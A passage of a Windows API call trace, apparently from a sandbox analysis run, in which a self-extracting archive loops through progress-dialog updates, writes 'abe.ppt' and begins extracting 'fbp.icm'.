wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.251] GetTickCount () returned 0x1fae1 [0068.251] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.251] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.251] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.251] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.251] GetTickCount () returned 0x1fae1 [0068.251] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.251] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.251] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.251] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.251] GetTickCount () returned 0x1fae1 [0068.251] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.251] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.251] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.251] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.251] GetTickCount () returned 0x1fae1 [0068.251] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.251] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.251] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.251] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.251] GetTickCount () returned 0x1fae1 [0068.251] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.251] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.251] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.252] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.252] GetTickCount () returned 0x1fae1 [0068.252] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.252] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.252] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.255] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.255] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.255] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.255] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.255] GetTickCount () returned 0x1faf1 [0068.255] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.255] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.255] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.255] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.255] GetTickCount () returned 0x1faf1 [0068.255] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.255] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.255] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.255] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.255] GetTickCount () returned 0x1faf1 [0068.255] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.255] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.255] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.255] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.255] GetTickCount () returned 0x1faf1 [0068.255] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.255] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.256] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.256] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.256] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.256] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.256] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.257] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.257] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.257] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.257] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.257] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.257] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.257] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.257] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.257] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.257] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.257] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.257] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.257] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.257] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.257] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.257] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.257] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.257] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.257] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.257] GetTickCount () returned 0x1faf1 [0068.257] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.260] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.260] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.260] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.260] GetTickCount () returned 0x1faf1 [0068.260] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.260] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22c, lpOverlapped=0x0) returned 1 [0068.261] GetTickCount () returned 0x1faf1 [0068.261] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.261] SetFilePointer (in: hFile=0x1c, lDistanceToMove=865770, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd35ea [0068.261] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.261] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.261] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.261] CloseHandle (hObject=0x138) returned 1 [0068.262] SetFileAttributesA (lpFileName="abe.ppt", dwFileAttributes=0x20) returned 1 [0068.262] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd35ea [0068.262] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.263] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.263] OemToCharA (in: pSrc="fbp.icm", pDst=0x179cc0 | out: pDst="fbp.icm") returned 1 [0068.263] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="fbp.icm", cchCount2=1) returned 1 [0068.263] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="fbp.icm", cchCount2=6) returned 1 [0068.263] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="fbp.icm", cchCount2=-1) returned 1 [0068.263] SetFilePointer (in: hFile=0x1c, lDistanceToMove=865814, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3616 [0068.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="fbp.icm") returned 8 [0068.263] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.263] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting fbp.icm") returned 18 [0068.263] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting fbp.icm") returned 1 [0068.263] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.263] OemToCharBuffA (in: lpszSrc="f", lpszDst=0x17160c, 